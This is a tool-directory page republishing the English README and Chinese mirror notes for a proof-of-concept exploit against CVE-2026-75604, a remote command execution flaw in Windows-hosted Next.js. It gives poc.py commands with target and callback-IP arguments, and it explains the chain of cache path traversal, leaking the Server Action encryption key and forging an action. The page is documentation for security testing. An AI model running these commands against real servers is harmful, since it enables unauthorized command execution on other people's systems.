Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-75604 — Proof-of-concept exploit for CVE-2026-75604, an unauthenticated RCE in Windows-hosted Next.js via cache path traversal and forged Server Action, for authorized security testing. | Kitploit
Tools/GitHubGitHub/hackspeak/cve-2026-75604
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubhackspeak/cve-2026-75604

CVE-2026-75604

Proof-of-concept exploit for CVE-2026-75604, an unauthenticated RCE in Windows-hosted Next.js via cache path traversal and forged Server Action, for authorized security testing.

View Repository
11 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-75604 RCE PoC

Python proof of concept for CVE-2026-75604, an unauthenticated remote command execution vulnerability in Windows-hosted Next.js applications that use both the Pages Router and App Router without Cache Components.

Demonstration

CVE-2026-75604 RCE proof of concept

Requirements

  • Next.js >=13.4 <15.5.24 or >=16.0 <16.3.3
  • Native Windows server
  • Pages Router and App Router without Cache Components
  • Default filesystem cache with a dynamic Pages ISR route and a dynamic cached App route
  • A compatible closure-bound Server Action
  • Python 3.9+ and a callback address reachable by the target

Validated with [email protected].

root@kitploit:~
python -m pip install -r requirements.txt

Usage

root@kitploit:~
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE

The Server Action path defaults to /. Use --action-field when its form has more than one field.

Required arguments:

  • --target URL: base URL of the Next.js application
  • --callback-ip ADDRESS: IPv4 address reachable by the target
  • --pages-cache-path PATH: existing dynamic Pages Router ISR page
  • --app-cache-path PATH: existing dynamic App Router page backed by the filesystem cache

Optional arguments:

  • --command COMMAND: command to execute; defaults to whoami
  • --action-path PATH: App Router page containing the compatible Server Action; defaults to /
  • --action-field NAME: form field consumed by the action; detected automatically when unambiguous
  • --callback-port PORT: callback port; defaults to 4331
  • --listen-address ADDRESS: local callback bind address; defaults to 0.0.0.0
  • --timeout SECONDS: request and callback timeout; defaults to 20
  • --insecure: disables TLS certificate verification

Local target

The optional target/ application pins [email protected] and uses the standard Next.js production server:

root@kitploit:~
cd target
npm ci
npm run build
npm start

Run the PoC in another terminal:

root@kitploit:~
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed

The optional target provides the required routes and a compatible Server Action on /.

Disclaimer

This PoC is provided for educational purposes, security research, and authorized testing only. Use it only on systems you own or have explicit permission to test.

Credits

Credit to evolutionstorm.

This PoC was independently reconstructed from the public advisory and Next.js patch.


分发镜像说明(中文)

本仓库为 CVE-2026-75604 利用 PoC 的中转分发镜像(英文使用说明见上方上游原版 README)。内容由上游公开 PoC 镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-75604 / GHSA-p293-qw3h-jr36:Windows 宿主上的 Next.js 未授权远程代码执行
  • 弱点分类:CWE-22(路径遍历)
  • CVSS:9.0(Critical),AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
  • 受影响:Next.js >=13.4 <15.5.24、>=16.0 <16.3.3
  • 修复版本:15.5.24 / 16.3.3
  • 触发前置:Windows 文件系统 + Pages Router 与 App Router 共存(未启用 Cache Components)+ 默认文件系统缓存 + 动态 ISR Pages 路由 + 缓存 App 路由 + 兼容的闭包绑定 Server Action

核心原理:FileSystemCache 在 Windows 上未把反斜杠(\)视为路径分隔符进行转义,攻击者可用 ..%5C 编码穿越缓存路径,读取私密文件 server-reference-manifest.json,泄露 Server Action 的 encryptionKey,再伪造闭包绑定 Server Action 请求执行任意命令。

环境要求 / Requirements

  • Python 3.9+
  • python -m pip install -r requirements.txt(cryptography、requests)
  • 目标可回连的攻击机 IPv4 地址
  • 满足上述前置条件的 Windows 目标应用

已在 [email protected] 上验证。

用法 / Usage

root@kitploit:~
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP \
  --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE \
  --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
参数必填说明
--target URL是Next.js 应用基础 URL
--callback-ip ADDRESS是目标可回连的 IPv4 地址
--pages-cache-path PATH是已存在的动态 Pages Router ISR 页(穿越锚点)
--app-cache-path PATH是已存在的、走文件系统缓存的动态 App Router 页
--command COMMAND否要执行的命令(默认 whoami)
--action-path PATH否含兼容 Server Action 的 App Router 页(默认 /)
--action-field NAME否Action 表单消费的业务字段(唯一时自动检测)
--callback-port PORT否回连端口(默认 4331)
--listen-address ADDRESS否本地回调监听地址(默认 0.0.0.0)
--timeout SECONDS否请求与回调超时(默认 20)
--insecure否关闭 TLS 证书校验

本地示例目标 / Local target

仓库内 target/ 提供了可复现的示例应用(锁定 [email protected],标准生产服务器):

root@kitploit:~
cd target
npm ci
npm run build
npm start

另开终端运行:

root@kitploit:~
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 \
  --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed

示例目标提供了所需路由与 / 上的兼容 Server Action。

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的系统运行。利用会在目标 Windows 主机执行任意命令,请在可销毁环境中测试。

归属与许可 / Attribution & License

  • 原 PoC 作者:rafabd1(公开上游镜像仓库)。
  • 漏洞报告者:evolutionstorm、B0RI。
  • 本 PoC 依据公开 Advisory 与 Next.js 修复补丁独立重建。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • 上游 PoC 镜像:https://github.com/rafabd1/CVE-2026-75604-poc
  • GitHub Security Advisory:https://github.com/vercel/next.js/security/advisories/GHSA-p293-qw3h-jr36
  • 修复 commit(file-system-cache.ts + escape-path-delimiters.ts):https://github.com/vercel/next.js/commit/09f9c8a758a6b20f248b0e90e539bba8225c73bb
  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-75604
Download Tool